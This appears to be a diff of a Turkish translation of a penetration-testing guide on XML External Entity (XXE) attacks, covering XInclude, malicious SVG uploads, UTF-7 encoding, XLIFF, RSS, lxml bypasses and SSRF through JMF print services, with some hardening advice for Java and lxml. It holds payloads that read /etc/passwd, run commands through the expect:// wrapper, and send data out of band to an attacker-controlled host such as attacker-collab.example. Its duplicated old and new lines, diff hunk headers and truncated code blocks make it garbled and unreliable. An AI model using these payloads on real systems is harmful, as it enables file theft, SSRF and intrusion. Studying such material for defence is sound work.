Sunucu tarafı XML belgelerine, arka uç SOAP isteklerindeki gibi, istemci verilerini entegre ederken, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır ve `DOCTYPE` öğesini değiştirme kısıtlamaları nedeniyle geleneksel XXE saldırılarını engeller. Ancak, bir `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesi içinde dış varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, yalnızca sunucu tarafından üretilen bir XML belgesindeki verilerin bir kısmı kontrol edilebildiğinde bile etkilidir.
Sunucu tarafı XML belgelerine, arka uç SOAP isteklerindeki gibi, istemci verilerini entegre ederken, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır; bu da `DOCTYPE` öğesini değiştirme kısıtlamaları nedeniyle geleneksel XXE saldırılarını engeller. Ancak, bir `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesi içinde dış varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, sunucu tarafından üretilen bir XML belgesindeki verilerin yalnızca bir kısmı kontrol edilebildiğinde bile etkilidir.
Bir `XInclude` saldırısını gerçekleştirmek için, `XInclude` ad alanı beyan edilmeli ve hedef dış varlık için dosya yolu belirtilmelidir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair kısa bir örnek bulunmaktadır:
```xml
@ -322,7 +322,7 @@ Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portsw
Kullanıcılar tarafından belirli uygulamalara yüklenen dosyalar, sunucuda işlenirken XML veya XML içeren dosya formatlarının nasıl ele alındığındaki zayıflıkları istismar edebilir. Ofis belgeleri (DOCX) ve görüntüler (SVG) gibi yaygın dosya formatları XML tabanlıdır.
Kullanıcılar **görüntü yüklediğinde**, bu görüntüler sunucu tarafında işlenir veya doğrulanır. PNG veya JPEG gibi formatlar bekleyen uygulamalar için bile, **sunucunun görüntü işleme kütüphanesi SVG görüntülerini de destekleyebilir**. XML tabanlı bir format olan SVG, saldırganlar tarafından kötü niyetli SVG görüntüleri göndermek için istismar edilebilir ve böylece sunucuyu XXE (XML Dış Varlık) zayıflıklarına maruz bırakabilir.
Kullanıcılar **görüntü yüklediğinde**, bu görüntüler sunucu tarafında işlenir veya doğrulanır. PNG veya JPEG gibi formatları bekleyen uygulamalar için bile, **sunucunun görüntü işleme kütüphanesi SVG görüntülerini de destekleyebilir**. XML tabanlı bir format olan SVG, saldırganlar tarafından kötü niyetli SVG görüntüleri göndermek için istismar edilebilir ve böylece sunucuyu XXE (XML Dış Varlık) zayıflıklarına maruz bırakabilir.
Aşağıda, kötü niyetli bir SVG görüntüsünün sistem dosyalarını okumaya çalıştığı bir istismar örneği gösterilmektedir:
```xml
@ -334,7 +334,7 @@ Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla **komutları
<image xlink:href="expect://ls"></image>
</svg>
```
SVG formatı, sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır; bu da sağlam girdi doğrulaması ve güvenlik önlemlerine olan ihtiyacı vurgular.
SVG formatı, sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır; bu da sağlam girdi doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular.
Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) adresini kontrol edin!
@ -408,7 +408,7 @@ Bu yalnızca XML sunucusu `data://` protokolünü kabul ediyorsa çalışır.
### UTF-7
Burada \[**"Encode Recipe**" of cyberchef kullanabilirsiniz\]([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için.
Burada \[**"Encode Recipe**" of cyberchef kullanabilirsiniz]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -476,7 +476,7 @@ DTD örneği:
Bu örnek, [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) adresinden esinlenmiştir.
XLIFF (XML Yerelleştirme Değişim Dosya Formatı), yerelleştirme süreçlerinde veri değişimini standart hale getirmek için kullanılır. Yerelleştirme sırasında araçlar arasında yerelleştirilebilir verilerin aktarımı için ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak kullanılan XML tabanlı bir formattır.
XLIFF (XML Yerelleştirme Değişim Dosya Formatı), yerelleştirme süreçlerinde veri değişimini standart hale getirmek için kullanılır. Yerelleştirme sırasında araçlar arasında yerelleştirilebilir verilerin aktarımı için kullanılan, XML tabanlı bir formattır ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak işlev görür.
### Blind Request Analizi
@ -500,7 +500,7 @@ Ancak, bu istek bir iç sunucu hatasını tetikler ve özellikle işaretleme bil
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
```
Hata olmasına rağmen, Burp Collaborator'da bir etkileşim kaydedilir, bu da dış varlıkla bir düzeyde etkileşim olduğunu gösterir.
Hata olmasına rağmen, dış varlıkla bir etkileşim seviyesini gösteren bir kayıt Burp Collaborator'da kaydedilir.
Out of Band Data Exfiltration Verileri dışarı aktarmak için, değiştirilmiş bir istek gönderilir:
```
@ -514,9 +514,9 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koymaktadır. Bu Java sürümünün bilinen bir sınırlaması, Out of Band tekniğini kullanarak /etc/passwd gibi yeni satır karakteri içeren dosyaların alınamamasıdır.
Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koymaktadır. Bu Java sürümünün bilinen bir sınırlaması, Out of Band tekniğini kullanarak /etc/passwd gibi yeni satır karakteri içeren dosyaları alabilme yeteneğinin olmamasıdır.
Hata Tabanlı Veri Sızdırma Bu sınırlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılmaktadır. Hedef dosyadan veri içeren bir hata tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır:
Hata Tabanlı Veri Sızdırma Bu sınırlamayı aşmak için, Hata Tabanlı bir yaklaşım kullanılmaktadır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
@ -534,7 +534,7 @@ Hata mesajında dosya içeriğini dahil etmek için, DTD dosyası ayarlanır:
%foo;
%xxe;
```
Bu değişiklik, HTTP üzerinden gönderilen hata çıktısında yansıtıldığı gibi, dosyanın içeriğinin başarılı bir şekilde dışa aktarılmasına yol açar. Bu, hassas bilgileri çıkarmak için hem Out of Band hem de Error-Based tekniklerini kullanan başarılı bir XXE (XML External Entity) saldırısını gösterir.
Bu değişiklik, HTTP üzerinden gönderilen hata çıktısında yansıtıldığı gibi, dosyanın içeriğinin başarılı bir şekilde dışa aktarılmasına yol açar. Bu, hassas bilgileri çıkarmak için hem Out of Band hem de Hata Tabanlı teknikleri kullanarak başarılı bir XXE (XML Dış Varlık) saldırısını gösterir.
## RSS - XEE
@ -542,7 +542,7 @@ XXE zafiyetini istismar etmek için geçerli RSS formatında XML.
### Ping back
Saldırganın sunucusuna basit HTTP isteği
Saldırganın sunucusuna basit bir HTTP isteği
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -563,7 +563,7 @@ Saldırganın sunucusuna basit HTTP isteği
</channel>
</rss>
```
### Dosyayı oku
### Dosyayı Oku
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -711,11 +711,11 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
> [!TIP]
> Eğer ayrıştırıcı iç alt küme içinde `%`/`&` karakterleri hakkında şikayet ediyorsa, bunları çift kodlayın (`&#x26;#x25;``%`) genişlemeyi geciktirmek için.
#### 2. lxml 5.4.0 sertleştirmesini atlama (libxml2 hala savunmasız)
#### 2. lxml 5.4.0 sertleştirmesini atlamak (libxml2 hala savunmasız)
`lxml` ≥ 5.4.0, yukarıdaki gibi *hata* parametre varlıklarını yasaklar, ancak **libxml2** bunların *genel* bir varlık içinde gömülmesine hala izin verir. Hile şudur:
1. Dosyayı bir parametre varlığı `%file` içine okuyun.
2. **Genel** bir varlık `c` oluşturan başka bir parametre varlığı tanımlayın; bu varlığın SYSTEM tanımlayıcısı, `meow://%file;` gibi *var olmayan bir protokol* kullanır.
3. XML gövdesine `&c;` yerleştirin. Ayrıştırıcı `meow://…` adresini çözmeye çalıştığında başarısız olur ve hata mesajında tam URI'yi dosya içeriği de dahil yansıtır.
3. XML gövdesine `&c;` yerleştirin. Ayrıştırıcı `meow://…` adresini çözmeye çalıştığında başarısız olur ve hata mesajında dosya içeriği de dahil olmak üzere tam URI'yi yansıtır.
```xml
<!DOCTYPE colors [
<!ENTITY % a '
@ -732,13 +732,13 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
* Bu teknik, **dışa bağlantı olmadan** çalışır, bu da onu katı çıkış filtreli ortamlar için ideal hale getirir.
#### Azaltma rehberi
* **lxml ≥ 5.4.0** sürümüne yükseltin ve temel **libxml2**'nin **≥ 2.13.8** olduğundan emin olun.
* **lxml ≥ 5.4.0** sürümüne yükseltin ve temel **libxml2** sürümünün **≥ 2.13.8** olduğundan emin olun.
* Kesinlikle gerekli olmadıkça `load_dtd` ve/veya `resolve_entities`'i devre dışı bırakın.
* Ham ayrıştırıcı hatalarını istemciye döndürmekten kaçının.
### Java DocumentBuilderFactory güçlendirme örneği
Java uygulamaları genellikle XML'i `DocumentBuilderFactory` kullanarak ayrıştırır. Varsayılan olarak fabrika **harici varlık çözümlemesine** izin verir, bu da ek güçlendirme bayrakları ayarlanmadan XXE ve SSRF'ye karşı savunmasız hale getirir:
Java uygulamaları genellikle XML'i `DocumentBuilderFactory` kullanarak ayrıştırır. Varsayılan olarak fabrika **harici varlık çözümlemesine** izin verir, bu da ek güçlendirme bayrakları ayarlanmadığında XXE ve SSRF'ye karşı savunmasız hale getirir:
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
@ -765,22 +765,51 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
```
Eğer uygulama DTD'leri dahili olarak desteklemek zorundaysa, `disallow-doctype-decl` özelliğini devre dışı bırakın, ancak **her zaman** iki `external-*-entities` özelliğini `false` olarak ayarlayın. Bu kombinasyon, klasik dosya ifşası yüklerini (`file:///etc/passwd`) ve ağ tabanlı SSRF vektörlerini (`http://169.254.169.254/…`, `jar:` protokolü vb.) engeller.
Gerçek dünya vaka çalışması: **CVE-2025-27136** Java S3 emülatörü *LocalS3* yukarıda gösterilen savunmasız yapıcıyı kullandı. Kimlik doğrulaması yapılmamış bir saldırgan, `CreateBucketConfiguration` uç noktasına hazırlanmış bir XML gövdesi sağlayarak sunucunun yerel dosyaları (örneğin `/etc/passwd`) HTTP yanıtına gömmesine neden olabilirdi.
Gerçek dünya vaka çalışması: **CVE-2025-27136** Java S3 emülatörü *LocalS3* yukarıda gösterilen savunmasız yapıcıyı kullandı. Kimlik doğrulaması yapılmamış bir saldırgan, `CreateBucketConfiguration` uç noktasına hazırlanmış bir XML gövdesi sağlayarak sunucunun yerel dosyaları (örneğin `/etc/passwd`) HTTP yanıtına gömmesini sağlayabilirdi.
## References
### JMF/Print Orkestrasyon Hizmetlerinde XXE → SSRF
Bazı yazdırma iş akışı/orkestrasyon platformları, TCP üzerinden XML kabul eden ağ tabanlı bir İş Mesajlaşma Formatı (JMF) dinleyicisi sunar. Eğer temel ayrıştırıcı bir `DOCTYPE` kabul ediyorsa ve dış varlıkları çözümlüyorsa, sunucunun dışa doğru istekler yapmasını (SSRF) veya yerel kaynaklara erişmesini sağlamak için klasik bir XXE'yi kullanabilirsiniz.
Gerçek hayatta gözlemlenen ana noktalar:
- Özel bir portta (genellikle Xerox FreeFlow Core'da 4004) ağ dinleyicisi (örneğin, JMF istemcisi).
- `disallow-doctype-decl` veya varlık çözümlemesi devre dışı bırakılmadan bir jar içinde Java tabanlı XML ayrıştırma (örneğin, `jmfclient.jar`).
- Dışarıdan geri çağırmalar güvenilir bir şekilde istismar doğrulaması yapar.
Minimal JMF tarzı SSRF denemesi (yapı ürüne göre değişir ama DOCTYPE önemlidir):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>
```
Notlar:
- Varlık URL'sini işbirlikçinizle değiştirin. Eğer SSRF mümkünse, sunucu mesajı işlerken bunu çözecektir.
- Bakılması gereken sertleştirmeler: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
- JMF portu dosyaları sunmasa bile, SSRF iç rekabet için veya localhost'a bağlı yönetim API'lerine ulaşmak için zincirlenebilir.
Bu vektör için referanslar sayfanın sonunda listelenmiştir.
## Referanslar
- [OffSec Blog CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- Kendi dış DTD'nizi kullanarak HTTP üzerinden bilgi çıkarın: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
- [Dojo CTF Challenge #42 Hex Color Palette XXE yazısı](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml hatası #2107279 Parametre varlığı XXE hala mümkün](https://bugs.launchpad.net/lxml/+bug/2107279)
- [Horizon3.ai Destek Biletinden Sıfır Gün'e (FreeFlow Core XXE/SSRF + Yol Geçişi)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox FreeFlow Core Güvenlik Kılavuzu (mimari/portlar)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
- [Xerox Güvenlik Bülteni 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#include ../banners/hacktricks-training.md}}